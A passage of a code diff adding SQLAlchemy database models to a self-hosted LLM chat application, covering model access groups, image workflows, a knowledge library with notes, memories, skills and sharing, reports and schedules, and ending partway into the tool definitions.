+        return [a for a in self.attachments if not a.is_image]
+
+    @property
+    def plan(self) -> dict:
+        """The plan, always in the current shape.
+
+        A property for the reason `images` and `documents` are: a message bubble
+        is rendered from four different handlers, and every one of them would
+        otherwise have to remember to normalise. Rows written before version 2
+        hold `{title, steps}` and come back through here as one phase.
+        """
+        from lembas.services import plans
+
+        return plans.normalise(self.plan_json)
 
     def __repr__(self) -> str:
         return f"<Message {self.role} {self.content[:40]!r}>"

src/lembas/db/models/connection.py

@@ -3,14 +3,38 @@
 from __future__ import annotations
 
 from datetime import datetime
-from typing import Any
+from typing import TYPE_CHECKING, Any
 
-from sqlalchemy import Boolean, DateTime, ForeignKey, Integer, String, Text, UniqueConstraint
+from sqlalchemy import (
+    Boolean,
+    Column,
+    DateTime,
+    ForeignKey,
+    Integer,
+    String,
+    Table,
+    Text,
+    UniqueConstraint,
+)
 from sqlalchemy.orm import Mapped, mapped_column, relationship
 
 from lembas.db.base import Base, Timestamps, UUIDPrimaryKey
 from lembas.db.types import JSONDict
 
+if TYPE_CHECKING:
+    # Import only for the annotation; at runtime SQLAlchemy resolves the
+    # name through its own class registry, so there is no import cycle.
+    from lembas.db.models.user import Group
+
+# Which groups may use a given model. A model with no rows here is reachable
+# only by administrators unless it is marked public.
+model_groups = Table(
+    "model_groups",
+    Base.metadata,
+    Column("model_id", String(32), ForeignKey("models.id", ondelete="CASCADE"), primary_key=True),
+    Column("group_id", String(32), ForeignKey("groups.id", ondelete="CASCADE"), primary_key=True),
+)
+
 
 class Connection(UUIDPrimaryKey, Timestamps, Base):
     """A configured upstream endpoint speaking the OpenAI HTTP API.
@@ -34,6 +58,18 @@ class Connection(UUIDPrimaryKey, Timestamps, Base):
     # Extra headers merged into every request (e.g. OpenRouter's HTTP-Referer).
     extra_headers_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
 
+    # How to ask this endpoint to drop its model from memory, for the Preserve
+    # VRAM option in image generation. Per connection and not instance-wide,
+    # because the VRAM being freed is a particular machine's: llama-swap on this
+    # host answers `GET /unload`, while a remote vLLM has no such call and no
+    # reason to be unloaded when ComfyUI needs memory *here*.
+    #
+    # Empty means "this connection cannot be unloaded", which is the honest
+    # default -- there is no call that works everywhere, and guessing one would
+    # send an unexplained request to somebody's endpoint.
+    unload_url: Mapped[str] = mapped_column(String(500), default="")
+    unload_method: Mapped[str] = mapped_column(String(8), default="POST")
+
     # Result of the most recent "Test & refresh", surfaced in the admin list.
     last_checked_at: Mapped[datetime | None] = mapped_column(DateTime(timezone=True))
     last_error: Mapped[str] = mapped_column(Text, default="")
@@ -64,19 +100,60 @@ class Model(UUIDPrimaryKey, Timestamps, Base):
     )
     model_id: Mapped[str] = mapped_column(String(300), nullable=False)
     display_name: Mapped[str] = mapped_column(String(300), default="")
+    description: Mapped[str] = mapped_column(Text, default="")
     enabled: Mapped[bool] = mapped_column(Boolean, default=True, nullable=False)
 
+    # Sort order in every picker. Ties fall back to model_id so the order is
+    # stable rather than whatever SQLite feels like today.
+    position: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
+    # Pinned models are offered first, before the full list.
+    pinned: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
+
+    # Public models are usable by anyone; otherwise access comes from `groups`.
+    public: Mapped[bool] = mapped_column(Boolean, default=True, nullable=False)
+
+    # Filename under <data>/uploads/models. Stored rather than a URL so the
+    # image cannot become a request to a third party on every page render.
+    image_path: Mapped[str] = mapped_column(String(300), default="")
+
+    # Applied to chats using this model when the chat has none of its own.
+    # See services.chat.effective_system_prompt for the precedence.
+    system_prompt: Mapped[str] = mapped_column(Text, default="")
+
     # Endpoints do not reliably advertise capabilities, so these are admin
-    # overrides consumed by later passes (vision uploads, tool calling).
+    # overrides. Recognised keys: vision, tools, reasoning.
     capabilities_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
     # Default sampling params applied to new chats using this model.
     params_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
 
+    # How many tokens this model can hold. 0 means unknown, which is what an
+    # endpoint that does not advertise it leaves behind -- and unknown has to
+    # stay tellable from "small", because the context percentage and automatic
+    # compaction both refuse to act on a number nobody supplied.
+    #
+    # A column rather than a key in capabilities_json: that dict is rebuilt
+    # wholesale from the submitted checkboxes on every save (api/admin_models.py),
+    # so a number living in it would be destroyed the next time an administrator
+    # ticked anything.
+    context_length: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
+
     connection: Mapped[Connection] = relationship(back_populates="models")
+    groups: Mapped[list[Group]] = relationship(
+        "Group", secondary=model_groups, back_populates="models"
+    )
 
     @property
     def label(self) -> str:
         return self.display_name or self.model_id
 
+    @property
+    def supports_reasoning(self) -> bool:
+        return bool((self.capabilities_json or {}).get("reasoning"))
+
+    @property
+    def initial(self) -> str:
+        """First character of the label, for the fallback avatar."""
+        return (self.label.strip() or "?")[0].upper()
+
     def __repr__(self) -> str:
         return f"<Model {self.model_id}>"

src/lembas/db/models/image.py

@@ -0,0 +1,60 @@
+"""ComfyUI workflow templates an administrator saved.
+
+A table rather than a list inside the settings group, for the reason
+`McpServer.tools_json` is *not* a table: that one is a cache of somebody else's
+document, replaced wholesale on every refresh, where each entry carries one
+decision. These are the opposite -- authored by hand, individually named,
+edited, reordered and deleted, and referenced by id from a chat. Everything a
+table gives for free is exactly what is wanted.
+
+Deliberately **no group access list**, unlike `CustomTool`. The whole feature is
+already behind one capability flag and one permission; a second access system
+covering which templates a person may pick would be a screen of checkboxes
+nobody asked for, and the thing being restricted is the shape of a picture.
+"""
+
+from __future__ import annotations
+
+from datetime import datetime
+from typing import Any
+
+from sqlalchemy import Boolean, DateTime, Integer, String, Text
+from sqlalchemy.orm import Mapped, mapped_column
+
+from lembas.db.base import Base, Timestamps, UUIDPrimaryKey
+from lembas.db.types import JSONDict
+
+
+class ImageWorkflow(UUIDPrimaryKey, Timestamps, Base):
+    """One API-format ComfyUI workflow, with holes where the values go."""
+
+    __tablename__ = "image_workflows"
+
+    # What the *model* names when it picks this one, so it is short and
+    # lowercase for the same reason a tool's slug is: it lands in a schema enum
+    # and is generated by something that spells inconsistently.
+    slug: Mapped[str] = mapped_column(String(64), unique=True, nullable=False)
+    name: Mapped[str] = mapped_column(String(120), nullable=False)
+
+    # Sent to the model beside the slug, and the only thing it has to choose
+    # with. "Photographic, SDXL, slow" is a choice; "workflow 2" is not.
+    description: Mapped[str] = mapped_column(Text, default="")
+
+    # The workflow itself, in ComfyUI's API format, with `{{placeholders}}`
+    # where the parameters go. Stored parsed rather than as text so the admin
+    # form can only ever save something that is valid JSON -- a template that
+    # does not parse would fail at generation time, minutes later, in front of
+    # somebody who was not editing it.
+    workflow_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
+
+    enabled: Mapped[bool] = mapped_column(Boolean, default=True, nullable=False)
+    position: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
+
+    # The result of the last time somebody pressed Test, in the shape
+    # `CustomTool` and `McpServer` already use, so the row reads the same way in
+    # the list as theirs do.
+    last_checked_at: Mapped[datetime | None] = mapped_column(DateTime(timezone=True))
+    last_error: Mapped[str] = mapped_column(Text, default="")
+
+    def __repr__(self) -> str:
+        return f"<ImageWorkflow {self.slug}>"

src/lembas/db/models/library.py

@@ -0,0 +1,362 @@
+"""What the model can reach for: knowledge, notes, memory and skills.
+
+Four stores rather than one, because they differ in the two ways that matter --
+who writes a record, and how a record reaches the model:
+
+* **Document** is uploaded by a person and searched by the model. It is the
+  only one holding a file, and it is deliberately shaped like ``Attachment``:
+  both come out of ``services.files.prepare`` and carry the same processed
+  content.
+* **Note** is written by the model and edited by a person. Long enough that it
+  has to be searched rather than injected.
+* **Memory** is one short fact, and *is* injected -- every one of them, every
+  turn, up to a budget. Anything that would not survive that treatment belongs
+  in a note.
+* **Skill** is a named instruction document. Its description is injected so the
+  model knows the skill exists; the body is fetched only when it decides to use
+  it, which is what keeps a hundred skills affordable.
+
+Everything except Memory can be shared -- see ``Share`` below and
+``services.sharing``. Memory cannot: a record about a person is not content to
+hand round, and "share my memories with the team" is a question nobody asked.
+"""
+
+from __future__ import annotations
+
+from sqlalchemy import (
+    Boolean,
+    Column,
+    ForeignKey,
+    Index,
+    Integer,
+    LargeBinary,
+    String,
+    Table,
+    Text,
+    UniqueConstraint,
+)
+from sqlalchemy.orm import Mapped, mapped_column, relationship
+
+from lembas.db.base import Base, Timestamps, UUIDPrimaryKey
+
+# Who wrote a record. Not decoration: a skill the model wrote itself is the one
+# worth looking at twice when its behaviour changes unexpectedly.
+AUTHOR_USER = "user"
+AUTHOR_MODEL = "model"
+
+# Where a document came from.
+SOURCE_UPLOAD = "upload"
+SOURCE_LINK = "link"
+
+# Resource kinds that can be shared. Values are stored, so they are part of the
+# schema rather than an implementation detail.
+RESOURCE_BASE = "base"
+RESOURCE_NOTE = "note"
+RESOURCE_SKILL = "skill"
+# A report is shareable and a memory is not, and the line between them is the
+# one already drawn elsewhere: a finished piece of work is exactly the thing
+# somebody wants to hand over, and a record *about a person* is not content to
+# pass round. The constant lives here beside the other three even though Report
+# is not a library model, because `Share.resource_type` is one column and its
+# vocabulary belongs in one place.
+RESOURCE_REPORT = "report"
+
+PRINCIPAL_USER = "user"
+PRINCIPAL_GROUP = "group"
+
+# Which knowledge bases a chat draws on. A chat with none searches everything
+# its owner can see; a chat with some is scoped to those, which is the point --
+# "answer from the contract folder" is a different question from "answer from
+# everything I have ever uploaded".
+chat_knowledge_bases = Table(
+    "chat_knowledge_bases",
+    Base.metadata,
+    Column("chat_id", String(32), ForeignKey("chats.id", ondelete="CASCADE"), primary_key=True),
+    Column(
+        "base_id",
+        String(32),
+        ForeignKey("knowledge_bases.id", ondelete="CASCADE"),
+        primary_key=True,
+    ),
+)
+
+
+class KnowledgeBase(UUIDPrimaryKey, Timestamps, Base):
+    """A named collection of documents.
+
+    Sharing lives here rather than on the individual document: "this folder is
+    the team's" is the granularity people actually think in, and per-document
+    grants would mean answering "who can see this?" by checking every file.
+    A document is visible to whoever can see the base it is in.
+    """
+
+    __tablename__ = "knowledge_bases"
+    __table_args__ = (UniqueConstraint("owner_id", "name"),)
+
+    owner_id: Mapped[str] = mapped_column(
+        String(32), ForeignKey("users.id", ondelete="CASCADE"), nullable=False, index=True
+    )
+    name: Mapped[str] = mapped_column(String(200), nullable=False)
+    description: Mapped[str] = mapped_column(Text, default="")
+
+    documents: Mapped[list[Document]] = relationship(
+        back_populates="base", cascade="all, delete-orphan"
+    )
+
+    def __repr__(self) -> str:
+        return f"<KnowledgeBase {self.name!r}>"
+
+
+class Document(UUIDPrimaryKey, Timestamps, Base):
+    """One item in a knowledge library: a file, an image or a saved web page.
+
+    The content columns mirror ``Attachment`` exactly because both are produced
+    by ``services.files.prepare`` -- images downscaled, PDF text extracted once,
+    type decided by sniffing bytes. Keeping the shapes identical is what lets a
+    document be attached to a message by copying rather than converting.
+    """
+
+    __tablename__ = "documents"
+
+    owner_id: Mapped[str] = mapped_column(
+        String(32), ForeignKey("users.id", ondelete="CASCADE"), nullable=False, index=True
+    )
+    # Nullable only so the column could be added to an existing table. The
+    # service always sets it, and a startup sweep files anything that predates
+    # bases into its owner's default -- see documents.sweep_unfiled.
+    base_id: Mapped[str | None] = mapped_column(
+        String(32), ForeignKey("knowledge_bases.id", ondelete="CASCADE"), index=True
+    )
+
+    title: Mapped[str] = mapped_column(String(300), nullable=False)
+    description: Mapped[str] = mapped_column(Text, default="")
+
+    source: Mapped[str] = mapped_column(String(16), default=SOURCE_UPLOAD, nullable=False)
+    # Set for a saved web page, so it can be re-fetched and cited.
+    source_url: Mapped[str] = mapped_column(Text, default="")
+
+    # --- The same content columns as Attachment ---
+    filename: Mapped[str] = mapped_column(String(300), default="")
+    stored_name: Mapped[str] = mapped_column(String(120), default="")
+    media_type: Mapped[str] = mapped_column(String(100), default="")
+    size_bytes: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
+    kind: Mapped[str] = mapped_column(String(16), default="text", nullable=False)
+    width: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
+    height: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
+    extracted_text: Mapped[str] = mapped_column(Text, default="")
+    pages: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
+    truncated: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
+    extraction_error: Mapped[str] = mapped_column(Text, default="")
+
+    base: Mapped[KnowledgeBase] = relationship(back_populates="documents")
+
+    @property
+    def is_image(self) -> bool:
+        return self.kind == "image"
+
+    @property
+    def human_size(self) -> str:
+        size = float(self.size_bytes)
+        for unit in ("B", "KB", "MB"):
+            if size < 1024 or unit == "MB":
+                return f"{size:.0f} {unit}" if unit == "B" else f"{size:.1f} {unit}"
+            size /= 1024
+        return f"{size:.1f} MB"
+
+    def __repr__(self) -> str:
+        return f"<Document {self.title!r}>"
+
+
+class Note(UUIDPrimaryKey, Timestamps, Base):
+    """Something the model wrote down, or a person did.
+
+    Longer and more specific than a memory. Not injected: a handful of notes
+    would fill a context window on their own, so the model searches for the one
+    it needs.
+    """
+
+    __tablename__ = "notes"
+
+    owner_id: Mapped[str] = mapped_column(
+        String(32), ForeignKey("users.id", ondelete="CASCADE"), nullable=False, index=True
+    )
+    title: Mapped[str] = mapped_column(String(300), nullable=False)
+    body: Mapped[str] = mapped_column(Text, default="")
+    author: Mapped[str] = mapped_column(String(16), default=AUTHOR_USER, nullable=False)
+
+    def __repr__(self) -> str:
+        return f"<Note {self.title!r}>"
+
+
+class Memory(UUIDPrimaryKey, Timestamps, Base):
+    """One short fact, in front of the model on every turn.
+
+    Deliberately not shareable and deliberately small. The length cap is
+    enforced in the service rather than by the column, so an over-long write
+    from a tool is trimmed with an explanation instead of failing the turn.
+    """
+
+    __tablename__ = "memories"
+
+    owner_id: Mapped[str] = mapped_column(
+        String(32), ForeignKey("users.id", ondelete="CASCADE"), nullable=False, index=True
+    )
+    content: Mapped[str] = mapped_column(Text, nullable=False)
+    author: Mapped[str] = mapped_column(String(16), default=AUTHOR_MODEL, nullable=False)
+
+    def __repr__(self) -> str:
+        return f"<Memory {self.content[:40]!r}>"
+
+
+class Skill(UUIDPrimaryKey, Timestamps, Base):
+    """A named set of instructions the model can choose to follow.
+
+    `description` is the load-bearing field: it is what gets injected, and it is
+    the only thing the model has to decide whether the skill is relevant. The
+    body is fetched with a tool.
+    """
+
+    __tablename__ = "skills"
+    __table_args__ = (UniqueConstraint("owner_id", "name"),)
+
+    owner_id: Mapped[str] = mapped_column(
+        String(32), ForeignKey("users.id", ondelete="CASCADE"), nullable=False, index=True
+    )
+    # Slug, referenced by the model when it asks for the body.
+    name: Mapped[str] = mapped_column(String(120), nullable=False)
+    description: Mapped[str] = mapped_column(Text, default="")
+    body: Mapped[str] = mapped_column(Text, default="")
+    enabled: Mapped[bool] = mapped_column(Boolean, default=True, nullable=False)
+    author: Mapped[str] = mapped_column(String(16), default=AUTHOR_USER, nullable=False)
+
+    revisions: Mapped[list[SkillRevision]] = relationship(
+        back_populates="skill",
+        cascade="all, delete-orphan",
+        order_by="SkillRevision.created_at.desc()",
+    )
+
+    def __repr__(self) -> str:
+        return f"<Skill {self.name}>"
+
+
+class SkillRevision(UUIDPrimaryKey, Timestamps, Base):
+    """The state of a skill before a change.
+
+    A model may rewrite its own skills, so every write snapshots what was there
+    first. That is the whole safety story for self-modification: not a gate, but
+    a record and a way back.
+    """
+
+    __tablename__ = "skill_revisions"
+
+    skill_id: Mapped[str] = mapped_column(
+        String(32), ForeignKey("skills.id", ondelete="CASCADE"), nullable=False, index=True
+    )
+    description: Mapped[str] = mapped_column(Text, default="")
+    body: Mapped[str] = mapped_column(Text, default="")
+    # Who made the change this revision is the "before" of.
+    author: Mapped[str] = mapped_column(String(16), default=AUTHOR_USER, nullable=False)
+    note: Mapped[str] = mapped_column(String(200), default="")
+
+    skill: Mapped[Skill] = relationship(back_populates="revisions")
+
+
+class Share(UUIDPrimaryKey, Timestamps, Base):
+    """One grant of access to one resource.
+
+    A single table across documents, notes and skills rather than three
+    association tables, because the rule is identical in all three cases and
+    ``services.sharing`` is the only thing that reads it.
+
+    A grant, never a denial -- the same principle as group permissions. Somebody
+    who cannot see a resource simply has no row here.
+    """
+
+    __tablename__ = "shares"
+    __table_args__ = (
+        UniqueConstraint(
+            "resource_type", "resource_id", "principal_type", "principal_id"
+        ),
+    )
+
+    resource_type: Mapped[str] = mapped_column(String(16), nullable=False)
+    resource_id: Mapped[str] = mapped_column(String(32), nullable=False)
+
+    principal_type: Mapped[str] = mapped_column(String(16), nullable=False)
+    # No foreign key: this column points at users or groups depending on
+    # principal_type, and SQLite cannot express that. services.sharing deletes
+    # dangling rows when a user or group goes.
+    principal_id: Mapped[str] = mapped_column(String(32), nullable=False)
+
+    def __repr__(self) -> str:
+        return f"<Share {self.resource_type}:{self.resource_id} -> {self.principal_type}>"
+
+
+Index("ix_shares_resource", Share.resource_type, Share.resource_id)
+Index("ix_shares_principal", Share.principal_type, Share.principal_id)
+
+
+# --- Semantic index -----------------------------------------------------------
+# What a chunk belongs to. Strings rather than a foreign key per store, because
+# one table serving four of them is what stops the chunking, the scoring and the
+# rebuild being written four times and drifting three ways.
+CHUNK_DOCUMENT = "document"
+CHUNK_NOTE = "note"
+CHUNK_SKILL = "skill"
+CHUNK_REPORT = "report"
+
+CHUNK_KINDS = (CHUNK_DOCUMENT, CHUNK_NOTE, CHUNK_SKILL, CHUNK_REPORT)
+
+
+class Chunk(UUIDPrimaryKey, Timestamps, Base):
+    """A piece of one library record, and its embedding.
+
+    **Additive, so `sync_schema` creates it at startup with no manual step**, and
+    absent-means-nothing: an instance with no embedding model chosen never writes
+    a row here and the search behaves exactly as it always did.
+
+    `owner_id` is denormalised off the resource. It is not used for
+    authorisation -- `services/sharing.py` is still the only definition of who
+    may see what, and scoring happens before that filter exactly as the
+    full-text path does -- but it is what makes "rebuild this person's index"
+    and "drop everything of theirs" one indexed query rather than four joins.
+
+    No foreign key on `resource_id`, for the reason `Share.principal_id` has
+    none: the column points at one of four tables depending on `resource_type`,
+    which SQLite cannot express. `indexing.forget_resource` deletes the rows.
+    """
+
+    __tablename__ = "chunks"
+
+    owner_id: Mapped[str] = mapped_column(
+        String(32), ForeignKey("users.id", ondelete="CASCADE"), nullable=False, index=True
+    )
+    resource_type: Mapped[str] = mapped_column(String(16), nullable=False)
+    resource_id: Mapped[str] = mapped_column(String(32), nullable=False)
+    # Where in the record this piece came from, so a set can be rebuilt in order
+    # and a hit can say which part matched.
+    ordinal: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
+    text: Mapped[str] = mapped_column(Text, default="")
+
+    # float32, little-endian, packed. A BLOB rather than JSON because a 1024
+    # dimension vector is 4KB packed and about 20KB as text, and every one of
+    # them is read on every semantic search.
+    vector: Mapped[bytes] = mapped_column(LargeBinary, nullable=False)
+    # How many floats are in it. Stored rather than derived from the length so a
+    # mismatch is a comparison this code refuses rather than one it gets wrong:
+    # changing the embedding model changes the space, and vectors from two
+    # spaces score against each other perfectly happily and mean nothing.
+    dims: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
+    # Which model wrote it, for the same reason. A rebuild is what reconciles
+    # them; until then the odd ones out are ignored rather than trusted.
+    model_id: Mapped[str] = mapped_column(String(300), default="")
+    # A hash of the text this set was built from. What makes re-indexing an
+    # unchanged record free, and what makes "is this index current?" answerable
+    # without re-embedding anything.
+    source_hash: Mapped[str] = mapped_column(String(64), default="")
+
+    def __repr__(self) -> str:
+        return f"<Chunk {self.resource_type}:{self.resource_id}#{self.ordinal}>"
+
+
+Index("ix_chunks_resource", Chunk.resource_type, Chunk.resource_id)

src/lembas/db/models/report.py

@@ -0,0 +1,75 @@
+"""Reports: what was found, written down once and never replied to."""
+
+from __future__ import annotations
+
+from sqlalchemy import Boolean, ForeignKey, String, Text
+from sqlalchemy.orm import Mapped, mapped_column
+
+from lembas.db.base import Base, Timestamps, UUIDPrimaryKey
+
+# Where a report came from. Not a foreign key to anything -- see `source_id`.
+SOURCE_SCHEDULE = "schedule"
+SOURCE_CHAT = "chat"
+SOURCE_MANUAL = "manual"
+SOURCES = (SOURCE_SCHEDULE, SOURCE_CHAT, SOURCE_MANUAL)
+
+
+class Report(UUIDPrimaryKey, Timestamps, Base):
+    """A finished piece of work, filed.
+
+    Deliberately not a `Chat` with one `Message` in it. A report is read top to
+    bottom and never answered, so everything a conversation carries -- a
+    composer, a sidebar row, a title that regenerates itself, a bubble with an
+    avatar and a rewind button -- would be machinery to suppress rather than
+    machinery to use. It is the same line `services/library/` already draws
+    between a note and a chat: a durable artefact is not a turn.
+
+    It must also be writable with no chat behind it at all, being the fallback
+    destination for a scheduled run whose own chat has gone.
+
+    `body` is Markdown written by a model and goes through
+    `services/markdown.py` like everything else from an endpoint. Hard rule 6
+    applies here exactly as it does in a transcript.
+    """
+
+    __tablename__ = "reports"
+
+    owner_id: Mapped[str] = mapped_column(
+        String(32), ForeignKey("users.id", ondelete="CASCADE"), nullable=False, index=True
+    )
+    title: Mapped[str] = mapped_column(String(300), nullable=False)
+    # One line for the list page, so a feed of forty reports can be read without
+    # opening any of them. Written by the model beside the body; falls back to
+    # the body's first line when it did not bother.
+    summary: Mapped[str] = mapped_column(String(500), default="")
+    body: Mapped[str] = mapped_column(Text, default="")
+
+    source: Mapped[str] = mapped_column(String(16), default=SOURCE_MANUAL, nullable=False)
+    # The chat or the schedule this came out of, kept so a report can say where
+    # it was made. Deliberately not a ForeignKey: `migrations.py` compiles the
+    # column type only, so a REFERENCES clause would exist on a fresh database
+    # and not on an upgraded one -- the same reason `Chat.compacted_through_id`
+    # and `Folder.ssh_profile_id` are plain ids. Both are validated on read, and
+    # the row outliving what it points at is normal rather than exceptional: a
+    # report is worth keeping after the chat that produced it has been deleted.
+    source_id: Mapped[str] = mapped_column(String(32), default="")
+    schedule_id: Mapped[str] = mapped_column(String(32), default="")
+    model_id: Mapped[str] = mapped_column(String(300), default="")
+
+    # NOT NULL with a scalar default so `migrations._add_column_sql` can backfill
+    # it if this column is ever added to a table that already has rows.
+    unread: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
+    # Whether its arrival has already been announced. The dot can be shown for
+    # as long as it is unread; the toast and the browser notification must fire
+    # once. Without this the poll would announce the same report every ten
+    # seconds until somebody opened it, which is the shape of notification
+    # nobody leaves switched on. `Chat.unread_notified` exists for exactly this
+    # and this is the same pair.
+    unread_notified: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
+    # Why a run produced nothing worth reading. A scheduled report that failed
+    # is still a report -- one that silently did not appear is indistinguishable
+    # from a schedule that never fired.
+    error: Mapped[str] = mapped_column(Text, default="")
+
+    def __repr__(self) -> str:
+        return f"<Report {self.title!r}>"

src/lembas/db/models/schedule.py

@@ -0,0 +1,85 @@
+"""Schedules: what should happen later, and where its result goes."""
+
+from __future__ import annotations
+
+from datetime import datetime
+
+from sqlalchemy import Boolean, DateTime, ForeignKey, Integer, String, Text
+from sqlalchemy.orm import Mapped, mapped_column
+
+from lembas.db.base import Base, Timestamps, UUIDPrimaryKey
+from lembas.db.types import JSONDict
+
+# Where a firing's result is delivered. Chosen per schedule rather than fixed by
+# the screen it was made on: Reports has to stay reachable from anywhere, being
+# the fallback, and a schedule somebody wants moved from its own chat to Reports
+# should not have to be built again.
+TARGET_CHAT = "chat"
+TARGET_REPORT = "report"
+TARGET_MESSAGES = "messages"
+TARGETS = (TARGET_CHAT, TARGET_REPORT, TARGET_MESSAGES)
+
+# Who made it. Kept because "why is this running?" is a question with two very
+# different answers, and one of them is "a model decided to".
+ORIGIN_USER = "user"
+ORIGIN_MODEL = "model"
+ORIGINS = (ORIGIN_USER, ORIGIN_MODEL)
+
+
+class Schedule(UUIDPrimaryKey, Timestamps, Base):
+    """One standing instruction and when it comes due.
+
+    The row carries no recurrence logic at all: `rule_json` is read by
+    `services/schedule/rule.py`, which is pure and knows nothing about rows.
+    What lives here is the bookkeeping the ticker needs to claim a firing
+    without doing it twice.
+    """
+
+    __tablename__ = "schedules"
+
+    user_id: Mapped[str] = mapped_column(
+        String(32), ForeignKey("users.id", ondelete="CASCADE"), nullable=False, index=True
+    )
+    title: Mapped[str] = mapped_column(String(200), nullable=False, default="")
+
+    # What the reader actually typed, kept verbatim and for ever. The compile
+    # rewrites it into `instruction`, and "what did I actually ask for" has to
+    # survive that -- both so the edit form can show it and so a recompile has
+    # something to work from other than its own previous output.
+    request: Mapped[str] = mapped_column(Text, default="")
+    # What is sent when it fires. The compiled form: standalone, since it is
+    # read with no conversation around it.
+    instruction: Mapped[str] = mapped_column(Text, default="")
+
+    rule_json: Mapped[dict] = mapped_column(JSONDict, default=dict)
+
+    target: Mapped[str] = mapped_column(String(16), default=TARGET_CHAT, nullable=False)
+    # The chat this fires into. Deliberately not a ForeignKey -- `migrations.py`
+    # compiles the column type only, so a REFERENCES clause would exist on a
+    # fresh database and not on an upgraded one. Validated on read, and a
+    # dangling value disables the schedule rather than raising every tick.
+    chat_id: Mapped[str] = mapped_column(String(32), default="")
+    model_id: Mapped[str] = mapped_column(String(300), default="")
+
+    enabled: Mapped[bool] = mapped_column(Boolean, default=True, nullable=False)
+
+    # The ticker's entire query. Nullable because "nothing more to do" is a real
+    # state -- a spent count, a closed window, a calendar matching nothing --
+    # and is different from "due at the epoch".
+    next_fire_at: Mapped[datetime | None] = mapped_column(DateTime(timezone=True), index=True)
+    last_fire_at: Mapped[datetime | None] = mapped_column(DateTime(timezone=True))
+    # Stamped when a firing starts and cleared when it finishes, so a run that
+    # died halfway says so instead of looking like one that never happened.
+    claimed_at: Mapped[datetime | None] = mapped_column(DateTime(timezone=True))
+
+    fired_count: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
+    # Why the last run did not work. Shown on the schedule's own page: a
+    # schedule that silently stopped producing anything is indistinguishable
+    # from one that was never due.
+    last_error: Mapped[str] = mapped_column(Text, default="")
+
+    origin: Mapped[str] = mapped_column(String(16), default=ORIGIN_USER, nullable=False)
+    compiled_at: Mapped[datetime | None] = mapped_column(DateTime(timezone=True))
+
+    def __repr__(self) -> str:
+        return f"<Schedule {self.title!r} {'on' if self.enabled else 'off'}>"

src/lembas/db/models/suggestion.py

@@ -0,0 +1,32 @@
+"""Starting points offered on the new-chat screen."""
+
+from __future__ import annotations
+
+from sqlalchemy import Boolean, Integer, String, Text
+from sqlalchemy.orm import Mapped, mapped_column
+
+from lembas.db.base import Base, Timestamps, UUIDPrimaryKey
+
+
+class Suggestion(UUIDPrimaryKey, Timestamps, Base):
+    """One card on the empty chat screen.
+
+    Instance-wide rather than per-user: these are what an administrator wants
+    people to start with, the same way the instance system prompt is. There is
+    no owner_id and therefore nothing for `sharing` to decide.
+    """
+
+    __tablename__ = "suggestions"
+
+    name: Mapped[str] = mapped_column(String(120), nullable=False)
+    description: Mapped[str] = mapped_column(String(300), default="")
+    # Sent as the first message the moment the card is clicked, so it has to
+    # stand on its own -- there is no chance to add anything to it first. The
+    # built-ins ask for what they need rather than assuming material.
+    prompt: Mapped[str] = mapped_column(Text, default="")
+
+    enabled: Mapped[bool] = mapped_column(Boolean, default=True, nullable=False)
+    position: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
+
+    def __repr__(self) -> str:
+        return f"<Suggestion {self.name}>"

src/lembas/db/models/tool.py

@@ -0,0 +1,187 @@
+"""Tools an administrator defined: HTTP endpoints and remote MCP servers.
+
+Both are instance configuration rather than someone's content, so access is
+shaped like `Model` and not like a note: a row is either public or reachable
+through the groups it names, resolved the way `permissions.models_visible_to`
+resolves a model. There is deliberately no per-user tool. A tool is a credential
+pointed at a third party, and "anyone may define one" is a different feature
+with a different threat model.
+
+The two tables are near-twins on purpose -- name, slug, secret, group list,
+last check -- because an administrator adding one should not have to learn a
+second screen. What differs is what sits between the row and the model: a
+custom tool *is* one call, described here in full, while an MCP server is a
+conversation whose tools are discovered and cached.
+"""
+
+from __future__ import annotations
+
+from datetime import datetime
+from typing import TYPE_CHECKING, Any
+
+from sqlalchemy import Boolean, Column, DateTime, ForeignKey, Integer, String, Table, Text
+from sqlalchemy.orm import Mapped, mapped_column, relationship
+
+from lembas.db.base import Base, Timestamps, UUIDPrimaryKey
+from lembas.db.types import JSONDict, JSONList
+
+if TYPE_CHECKING:
+    # Annotation only; SQLAlchemy resolves the real class from its registry.
+    from lembas.db.models.user import Group
+
+# How a row's secret is attached to a request. Stored values, so these are
+# schema rather than presentation.
+SECRET_NONE = "none"
+SECRET_BEARER = "bearer"
+SECRET_HEADER = "header"
+SECRET_QUERY = "query"
+
+SECRET_PLACEMENTS = (SECRET_NONE, SECRET_BEARER, SECRET_HEADER, SECRET_QUERY)
+
+# How a response becomes text for the model.
+RESPONSE_TEXT = "text"  # prose; HTML reduced by fetch.html_to_text
+RESPONSE_JSON = "json"  # parsed, narrowed by response_path, pretty-printed
+RESPONSE_RAW = "raw"  # verbatim, truncated -- CSV, plain logs
+
+RESPONSE_MODES = (RESPONSE_TEXT, RESPONSE_JSON, RESPONSE_RAW)
+
+custom_tool_groups = Table(
+    "custom_tool_groups",
+    Base.metadata,
+    Column(
+        "tool_id", String(32), ForeignKey("custom_tools.id", ondelete="CASCADE"), primary_key=True
+    ),
+    Column("group_id", String(32), ForeignKey("groups.id", ondelete="CASCADE"), primary_key=True),
+)
+
+mcp_server_groups = Table(
+    "mcp_server_groups",
+    Base.metadata,
+    Column(
+        "server_id", String(32), ForeignKey("mcp_servers.id", ondelete="CASCADE"), primary_key=True
+    ),
+    Column("group_id", String(32), ForeignKey("groups.id", ondelete="CASCADE"), primary_key=True),
+)
+
+
+class CustomTool(UUIDPrimaryKey, Timestamps, Base):
